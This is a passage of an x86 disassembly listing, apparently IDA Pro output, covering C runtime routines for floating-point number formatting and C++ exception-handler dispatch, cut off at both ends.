add ecx, [ebp+var_8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 30h
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0
loc_427753: ; CODE XREF: sub_427700+18j
; sub_427700+33j
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 2Dh
jnz short loc_427770
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_427770: ; CODE XREF: sub_427700+5Fj
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jg short loc_427798
push 1
mov ecx, [ebp+var_4]
push ecx
call sub_427990
add esp, 8
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_4277A4
; ---------------------------------------------------------------------------
loc_427798: ; CODE XREF: sub_427700+77j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+4]
mov [ebp+var_4], edx
loc_4277A4: ; CODE XREF: sub_427700+96j
cmp [ebp+arg_4], 0
jle loc_427836
push 1
mov eax, [ebp+var_4]
push eax
call sub_427990
add esp, 8
mov ecx, [ebp+var_4]
mov dl, byte_4516AC
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+4], 0
jge short loc_427836
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_4277EE
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
neg ecx
mov [ebp+arg_4], ecx
jmp short loc_427814
; ---------------------------------------------------------------------------
loc_4277EE: ; CODE XREF: sub_427700+DFj
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
cmp [ebp+arg_4], eax
jge short loc_427803
mov ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
jmp short loc_42780E
; ---------------------------------------------------------------------------
loc_427803: ; CODE XREF: sub_427700+F9j
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
mov [ebp+var_10], eax
loc_42780E: ; CODE XREF: sub_427700+101j
mov ecx, [ebp+var_10]
mov [ebp+arg_4], ecx
loc_427814: ; CODE XREF: sub_427700+ECj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
push eax
call sub_427990
add esp, 8
mov ecx, [ebp+arg_4]
push ecx
push 30h
mov edx, [ebp+var_4]
push edx
call sub_41B190
add esp, 0Ch
loc_427836: ; CODE XREF: sub_427700+A8j
; sub_427700+D7j
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_427700 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427840 proc near ; CODE XREF: sub_427930+55p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
mov [ebp+var_30], 0
lea eax, [ebp+var_14]
mov [ebp+var_38], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_42DBD0
add esp, 10h
mov eax, [ebp+var_38]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_34], ecx
mov edx, [ebp+var_38]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_42DAD0
add esp, 0Ch
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
xor ecx, ecx
cmp [ebp+var_34], eax
setl cl
mov [ebp+var_30], cl
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_34], 0FFFFFFFCh
jl short loc_4278CB
mov ecx, [ebp+var_34]
cmp ecx, [ebp+arg_8]
jl short loc_4278E7
loc_4278CB: ; CODE XREF: sub_427840+81j
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_427520
add esp, 14h
jmp short loc_427921
; ---------------------------------------------------------------------------
loc_4278E7: ; CODE XREF: sub_427840+89j
movsx eax, [ebp+var_30]
test eax, eax
jz short loc_42790B
loc_4278EF: ; CODE XREF: sub_427840+C2j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
test edx, edx
jz short loc_427904
jmp short loc_4278EF
; ---------------------------------------------------------------------------
loc_427904: ; CODE XREF: sub_427840+C0j
mov ecx, [ebp+var_4]
mov byte ptr [ecx-2], 0
loc_42790B: ; CODE XREF: sub_427840+ADj
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_427700
add esp, 10h
loc_427921: ; CODE XREF: sub_427840+A5j
mov esp, ebp
pop ebp
retn
sub_427840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427930 proc near ; CODE XREF: sub_422D70+6ADp
; DATA XREF: sub_41CE50+3o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_42793F
cmp [ebp+arg_8], 45h
jnz short loc_427959
loc_42793F: ; CODE XREF: sub_427930+7j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4274A0
add esp, 10h
jmp short loc_42798D
; ---------------------------------------------------------------------------
loc_427959: ; CODE XREF: sub_427930+Dj
cmp [ebp+arg_8], 66h
jnz short loc_427975
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_427690
add esp, 0Ch
jmp short loc_42798D
; ---------------------------------------------------------------------------
loc_427975: ; CODE XREF: sub_427930+2Dj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_427840
add esp, 10h
loc_42798D: ; CODE XREF: sub_427930+27j
; sub_427930+43j
pop ebp
retn
sub_427930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427990 proc near ; CODE XREF: sub_427520+2Fp
; sub_427700+7Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jz short loc_4279BC
mov eax, [ebp+arg_0]
push eax
call sub_418D00
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
add edx, [ebp+arg_4]
push edx
call sub_41D520
add esp, 0Ch
loc_4279BC: ; CODE XREF: sub_427990+7j
pop ebp
retn
sub_427990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4279C0 proc near ; CODE XREF: sub_41D100+27p
; sub_41D1E0+2Cp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_10]
cmp dword ptr [eax], 19930520h
jnz short loc_4279DA
mov [ebp+var_8], 0
jmp short loc_4279E2
; ---------------------------------------------------------------------------
loc_4279DA: ; CODE XREF: sub_4279C0+Fj
call sub_428720
mov [ebp+var_8], eax
loc_4279E2: ; CODE XREF: sub_4279C0+18j
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, 66h
test edx, edx
jz short loc_427A1E
mov eax, [ebp+arg_10]
cmp dword ptr [eax+4], 0
jz short loc_427A14
cmp [ebp+arg_14], 0
jnz short loc_427A14
push 0FFFFFFFFh
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_427F30
add esp, 10h
loc_427A14: ; CODE XREF: sub_4279C0+36j
; sub_4279C0+3Cj
mov eax, 1
jmp loc_427AAB
; ---------------------------------------------------------------------------
loc_427A1E: ; CODE XREF: sub_4279C0+2Dj
mov ecx, [ebp+arg_10]
cmp dword ptr [ecx+0Ch], 0
jz short loc_427AA6
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_427A7E
mov eax, [ebp+arg_0]
cmp dword ptr [eax+14h], 19930520h
jbe short loc_427A7E
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+8]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_427A7E
mov ecx, [ebp+arg_1C]
and ecx, 0FFh
push ecx
mov edx, [ebp+arg_18]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call [ebp+var_4]
add esp, 20h
jmp short loc_427AAB
; ---------------------------------------------------------------------------
loc_427A7E: ; CODE XREF: sub_4279C0+70j
; sub_4279C0+7Cj ...
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov dl, byte ptr [ebp+arg_1C]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_427AB0
add esp, 20h
loc_427AA6: ; CODE XREF: sub_4279C0+65j
mov eax, 1
loc_427AAB: ; CODE XREF: sub_4279C0+59j
; sub_4279C0+BCj
mov esp, ebp
pop ebp
retn
sub_4279C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427AB0 proc near ; CODE XREF: sub_4279C0+DEp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 30h
mov [ebp+var_8], 0
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0FFFFFFFFh
jl short loc_427ADD
mov edx, [ebp+arg_10]
mov eax, [ebp+var_4]
cmp eax, [edx+4]
jge short loc_427ADD
mov [ebp+var_28], 0
jmp short loc_427AE5
; ---------------------------------------------------------------------------
loc_427ADD: ; CODE XREF: sub_427AB0+17j
; sub_427AB0+22j
call sub_428720
mov [ebp+var_28], eax
loc_427AE5: ; CODE XREF: sub_427AB0+2Bj
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0E06D7363h
jnz loc_427BA5
mov edx, [ebp+arg_0]
cmp dword ptr [edx+10h], 3
jnz loc_427BA5
mov eax, [ebp+arg_0]
cmp dword ptr [eax+14h], 19930520h
jnz loc_427BA5
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+1Ch], 0
jnz loc_427BA5
call sub_423CF0
cmp dword ptr [eax+6Ch], 0
jnz short loc_427B2E
jmp loc_427D4C
; ---------------------------------------------------------------------------
loc_427B2E: ; CODE XREF: sub_427AB0+77j
call sub_423CF0
mov edx, [eax+6Ch]
mov [ebp+arg_0], edx
call sub_423CF0
mov eax, [eax+70h]
mov [ebp+arg_8], eax
mov [ebp+var_8], 1
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_42DE70
add esp, 8
test eax, eax
jz short loc_427B63
mov [ebp+var_2C], 0
jmp short loc_427B6B
; ---------------------------------------------------------------------------
loc_427B63: ; CODE XREF: sub_427AB0+A8j
call sub_428720
mov [ebp+var_2C], eax
loc_427B6B: ; CODE XREF: sub_427AB0+B1j
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_427B9E
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 3
jnz short loc_427B9E
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+14h], 19930520h
jnz short loc_427B9E
mov edx, [ebp+arg_0]
cmp dword ptr [edx+1Ch], 0
jnz short loc_427B9E
call sub_428720
mov [ebp+var_30], eax
jmp short loc_427BA5
; ---------------------------------------------------------------------------
loc_427B9E: ; CODE XREF: sub_427AB0+C4j
; sub_427AB0+CDj ...
mov [ebp+var_30], 0
loc_427BA5: ; CODE XREF: sub_427AB0+3Ej
; sub_427AB0+4Bj ...
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 0E06D7363h
jnz loc_427D0C
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 3
jnz loc_427D0C
mov edx, [ebp+arg_0]
cmp dword ptr [edx+14h], 19930520h
jnz loc_427D0C
lea eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_14]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_41D380
add esp, 14h
mov [ebp+var_10], eax
jmp short loc_427C04
; ---------------------------------------------------------------------------
loc_427BF2: ; CODE XREF: sub_427AB0:loc_427C25j
; sub_427AB0:loc_427CEAj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 14h
mov [ebp+var_10], eax
loc_427C04: ; CODE XREF: sub_427AB0+140j
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_C]
jnb loc_427CEF
mov edx, [ebp+var_10]
mov eax, [edx]
cmp eax, [ebp+var_4]
jg short loc_427C25
mov ecx, [ebp+var_10]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jle short loc_427C27
loc_427C25: ; CODE XREF: sub_427AB0+168j
jmp short loc_427BF2
; ---------------------------------------------------------------------------
loc_427C27: ; CODE XREF: sub_427AB0+173j
mov eax, [ebp+var_10]
mov ecx, [eax+10h]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
mov [ebp+var_24], eax
jmp short loc_427C4D
; ---------------------------------------------------------------------------
loc_427C3B: ; CODE XREF: sub_427AB0:loc_427CE5j
mov ecx, [ebp+var_24]
sub ecx, 1
mov [ebp+var_24], ecx
mov edx, [ebp+var_1C]
add edx, 10h
mov [ebp+var_1C], edx
loc_427C4D: ; CODE XREF: sub_427AB0+189j
cmp [ebp+var_24], 0
jle loc_427CEA
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
add edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
mov eax, [edx]
mov [ebp+var_20], eax
jmp short loc_427C88
; ---------------------------------------------------------------------------
loc_427C76: ; CODE XREF: sub_427AB0+1FBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+var_18]
add edx, 4
mov [ebp+var_18], edx
loc_427C88: ; CODE XREF: sub_427AB0+1C4j
cmp [ebp+var_20], 0
jle short loc_427CE5
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+var_18]
mov eax, [edx]
push eax
mov ecx, [ebp+var_1C]
push ecx
call sub_427E70
add esp, 0Ch
test eax, eax
jnz short loc_427CAD
jmp short loc_427C76
; ---------------------------------------------------------------------------
loc_427CAD: ; CODE XREF: sub_427AB0+1F9j
mov dl, [ebp+var_8]
push edx
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_18]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428060
add esp, 2Ch
jmp short loc_427D4A
; ---------------------------------------------------------------------------
loc_427CE5: ; CODE XREF: sub_427AB0+1DCj
jmp loc_427C3B
; ---------------------------------------------------------------------------
loc_427CEA: ; CODE XREF: sub_427AB0+1A1j
; sub_427AB0:loc_427D4Aj
jmp loc_427BF2
; ---------------------------------------------------------------------------
loc_427CEF: ; CODE XREF: sub_427AB0+15Aj
mov edx, [ebp+arg_14]
and edx, 0FFh
test edx, edx
jz short loc_427D0A
push 1
mov eax, [ebp+arg_0]
push eax
call sub_428540
add esp, 8
loc_427D0A: ; CODE XREF: sub_427AB0+24Aj
jmp short loc_427D48
; ---------------------------------------------------------------------------
loc_427D0C: ; CODE XREF: sub_427AB0+FEj
; sub_427AB0+10Bj ...
mov ecx, [ebp+arg_14]
and ecx, 0FFh
test ecx, ecx
jnz short loc_427D43
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_427D50
add esp, 20h
jmp short loc_427D48
; ---------------------------------------------------------------------------
loc_427D43: ; CODE XREF: sub_427AB0+267j
call sub_428670
loc_427D48: ; CODE XREF: sub_427AB0:loc_427D0Aj
; sub_427AB0+291j
jmp short loc_427D4C
; ---------------------------------------------------------------------------
loc_427D4A: ; CODE XREF: sub_427AB0+233j
jmp short loc_427CEA
; ---------------------------------------------------------------------------
loc_427D4C: ; CODE XREF: sub_427AB0+79j
; sub_427AB0:loc_427D48j
mov esp, ebp
pop ebp
retn
sub_427AB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427D50 proc near ; CODE XREF: sub_427AB0+289p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 0Ch
call sub_423CF0
cmp dword ptr [eax+68h], 0
jz short loc_427D8E
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41D220
add esp, 1Ch
test eax, eax
jz short loc_427D8E
jmp loc_427E61
; ---------------------------------------------------------------------------
loc_427D8E: ; CODE XREF: sub_427D50+Fj
; sub_427D50+37j
lea ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_10]
push edx
call sub_41D380
add esp, 14h
mov [ebp+var_8], eax
jmp short loc_427DC1
; ---------------------------------------------------------------------------
loc_427DAF: ; CODE XREF: sub_427D50:loc_427E19j
; sub_427D50+10Cj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_8]
add ecx, 14h
mov [ebp+var_8], ecx
loc_427DC1: ; CODE XREF: sub_427D50+5Dj
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jnb loc_427E61
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_14]
cmp ecx, [eax]
jl short loc_427E19
mov edx, [ebp+var_8]
mov eax, [ebp+arg_14]
cmp eax, [edx+4]
jg short loc_427E19
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
sub edx, 1
shl edx, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
cmp dword ptr [ecx+edx+4], 0
jz short loc_427E1B
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
mov eax, [edx+eax+4]
movsx ecx, byte ptr [eax+8]
test ecx, ecx
jz short loc_427E1B
loc_427E19: ; CODE XREF: sub_427D50+85j
; sub_427D50+90j
jmp short loc_427DAF
; ---------------------------------------------------------------------------
loc_427E1B: ; CODE XREF: sub_427D50+A9j
; sub_427D50+C7j
push 1
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+var_8]
push ecx
push 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
add edx, eax
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428060
add esp, 2Ch
jmp loc_427DAF
; ---------------------------------------------------------------------------
loc_427E61: ; CODE XREF: sub_427D50+39j
; sub_427D50+77j
mov esp, ebp
pop ebp
retn
sub_427D50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427E70 proc near ; CODE XREF: sub_427AB0+1EFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jz short loc_427E8B
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
movsx eax, byte ptr [edx+8]
test eax, eax
jnz short loc_427E95
loc_427E8B: ; CODE XREF: sub_427E70+Bj
mov eax, 1
jmp loc_427F22
; ---------------------------------------------------------------------------
loc_427E95: ; CODE XREF: sub_427E70+19j
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ecx+4]
cmp eax, [edx+4]
jz short loc_427EC7
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
add edx, 8
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
add ecx, 8
push ecx
call sub_41C4C0
add esp, 8
test eax, eax
jz short loc_427EC7
xor eax, eax
jmp short loc_427F22
; ---------------------------------------------------------------------------
loc_427EC7: ; CODE XREF: sub_427E70+31j
; sub_427E70+51j
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 2
test eax, eax
jz short loc_427EDF
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 8
test edx, edx
jz short loc_427F18
loc_427EDF: ; CODE XREF: sub_427E70+61j
mov eax, [ebp+arg_8]
mov ecx, [eax]
and ecx, 1
test ecx, ecx
jz short loc_427EF7
mov edx, [ebp+arg_0]
mov eax, [edx]
and eax, 1
test eax, eax
jz short loc_427F18
loc_427EF7: ; CODE XREF: sub_427E70+79j
mov ecx, [ebp+arg_8]
mov edx, [ecx]
and edx, 2
test edx, edx
jz short loc_427F0F
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 2
test ecx, ecx
jz short loc_427F18
loc_427F0F: ; CODE XREF: sub_427E70+91j
mov [ebp+var_4], 1
jmp short loc_427F1F
; ---------------------------------------------------------------------------
loc_427F18: ; CODE XREF: sub_427E70+6Dj
; sub_427E70+85j ...
mov [ebp+var_4], 0
loc_427F1F: ; CODE XREF: sub_427E70+A6j
mov eax, [ebp+var_4]
loc_427F22: ; CODE XREF: sub_427E70+20j
; sub_427E70+55j
mov esp, ebp
pop ebp
retn
sub_427E70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427F30 proc near ; CODE XREF: .nsp0:0041D15Ap
; sub_4279C0+4Cp ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4381D0
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFECh
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov [ebp+var_1C], ecx
loc_427F5F: ; CODE XREF: sub_427F30+BFj
mov edx, [ebp+var_1C]
cmp edx, [ebp+arg_C]
jz loc_427FF4
cmp [ebp+var_1C], 0FFFFFFFFh
jle short loc_427F85
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_1C]
cmp ecx, [eax+4]
jge short loc_427F85
mov [ebp+var_20], 0
jmp short loc_427F8D
; ---------------------------------------------------------------------------
loc_427F85: ; CODE XREF: sub_427F30+3Fj
; sub_427F30+4Aj
call sub_428720
mov [ebp+var_20], eax
loc_427F8D: ; CODE XREF: sub_427F30+53j
mov [ebp+var_4], 0
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+var_1C]
cmp dword ptr [eax+ecx*8+4], 0
jz short loc_427FC0
push 103h
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
mov edx, [ebp+var_1C]
mov eax, [ecx+edx*8+4]
push eax
call sub_428620
loc_427FC0: ; CODE XREF: sub_427F30+72j
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_427FE0
; ---------------------------------------------------------------------------
mov ecx, [ebp+var_14]
push ecx
call sub_428030
add esp, 4
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_4], 0FFFFFFFFh
loc_427FE0: ; CODE XREF: sub_427F30+97j
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+var_1C]
mov edx, [eax+ecx*8]
mov [ebp+var_1C], edx
jmp loc_427F5F
; ---------------------------------------------------------------------------
loc_427FF4: ; CODE XREF: sub_427F30+35j
mov eax, [ebp+var_1C]
cmp eax, [ebp+arg_C]
jnz short loc_428005
mov [ebp+var_24], 0
jmp short loc_42800D
; ---------------------------------------------------------------------------
loc_428005: ; CODE XREF: sub_427F30+CAj
call sub_428720
mov [ebp+var_24], eax
loc_42800D: ; CODE XREF: sub_427F30+D3j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_1C]
mov [ecx+8], edx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_427F30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428030 proc near ; CODE XREF: sub_427F30+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0E06D7363h
jz short loc_428051
jmp short loc_428056
; ---------------------------------------------------------------------------
loc_428051: ; CODE XREF: sub_428030+1Dj
call sub_428670
loc_428056: ; CODE XREF: sub_428030+1Fj
xor eax, eax
mov esp, ebp
pop ebp
retn
sub_428030 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428060 proc near ; CODE XREF: sub_427AB0+22Bp
; sub_427D50+104p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_18], 0
jz short loc_42808A
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4282C0
add esp, 10h
loc_42808A: ; CODE XREF: sub_428060+10j
cmp [ebp+arg_24], 0
jnz short loc_42809F
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_41D0A0
jmp short loc_4280AC
; ---------------------------------------------------------------------------
